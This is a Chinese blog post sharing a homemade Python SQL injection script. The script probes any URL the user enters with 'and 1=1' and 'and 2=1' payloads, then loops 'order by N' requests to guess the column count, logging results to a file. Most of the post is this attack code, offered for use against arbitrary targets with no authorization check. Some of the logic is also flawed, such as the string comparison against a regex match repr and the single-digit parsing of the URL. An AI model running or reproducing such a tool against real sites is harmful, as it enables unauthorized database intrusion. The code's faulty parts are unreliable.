前言:

总是想写一个sql注入脚本,但是之前的那些都不行。

这次做好了准备,然后嘿嘿嘿。

准备:

sql注入的基础知识

熟悉怎么判断

正文:

思路概念图:

这里我没有限制用户输入,不限制的话可能会 @&#@*#&@* = =

代码:

import requests
from bs4 import BeautifulSoup
import time
import re
import sys
def user():
    wailtfor=input('请输入你要进行sql注入测试的url:')
    print('------开启第一重验证------')
    url="{}".format(wailtfor)
    headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
    request=requests.get(url=url,headers=headers,timeout=6)
    if request.status_code != 200:
        print('[-]抱歉该url十分的不稳定,退出程序中......')
        time.sleep(1)
        sys.exit()
    else:
        print('[+]第一重验证已经完成,目标是稳定的')
        journal=open('journal.txt','w',encoding='utf-8')
        journal.write('{}是稳定的\n'.format(url))
        journal.write('下一步进行判断是否存在注入')
        journal.close()

    print('------开启第二重测试------')

    def ceshi():
        pay1 = '%20and%201=1'
        pay2 = '%20and%202=1'
        Testinjection1 = request.url + pay1
        Testinjection2=request.url+pay2
        print('-------尝试数字型注入------')
        print(Testinjection1)
        print(Testinjection2)
        Testg=requests.get(Testinjection1,headers=headers)
        print(Testg.headers)
        Testg2=requests.get(Testinjection2,headers=headers)
        print(Testg2.headers)
        if Testg.text != Testg2.text:
            print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1, pay2))
            journal2 = open('journal.txt', 'a')
            journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1, pay2))
            journal2.close()
            print('------开始猜字段数------')
        elif Testg.headers != Testg2.headers:
            print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1,pay2),'可能存在注入点')
            journal2=open('journal.txt','a')
            journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1,pay2))
            journal2.close()
            print('------开始猜字段数------')
        else:
            print('[-]数字型注入失败')
            print('[!]尝试字符型注入')
            sys.exit()
        a='ooo'
        for s in range(1,100):
            if a=='xxx':break
            orpay=url+'%20order%20by%20{}'.format(s)
            res=requests.get(orpay,headers=headers)
            ewe=res.content
            lk=re.finditer('mysql_fetch_array()',str(ewe))
            for p in lk:
                print(str(p))
                g='''<_sre.SRE_Match object; span=(232, 249), match='mysql_fetch_array'>'''
                if str(p) == g:
                    print('字段数payload:', res.url)
                    dw = int(res.url[-1:])-1
                    print(type(dw))
                    print('字段数长度为:', dw)
                    a='xxx'
                else:
                    print('字段数payload:',res.url)
                    dw=int(res.url[-1:])-1
                    print('字段数长度为:',dw)
                    a='xxx'




    ceshi()

user()

  测试结果如下:

 

 代码还有很多不足,诺各位大佬有什么好的意见请多多留言。 = =

最后送上一首歌:

版权声明:本文为haq5201314原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/haq5201314/p/8898626.html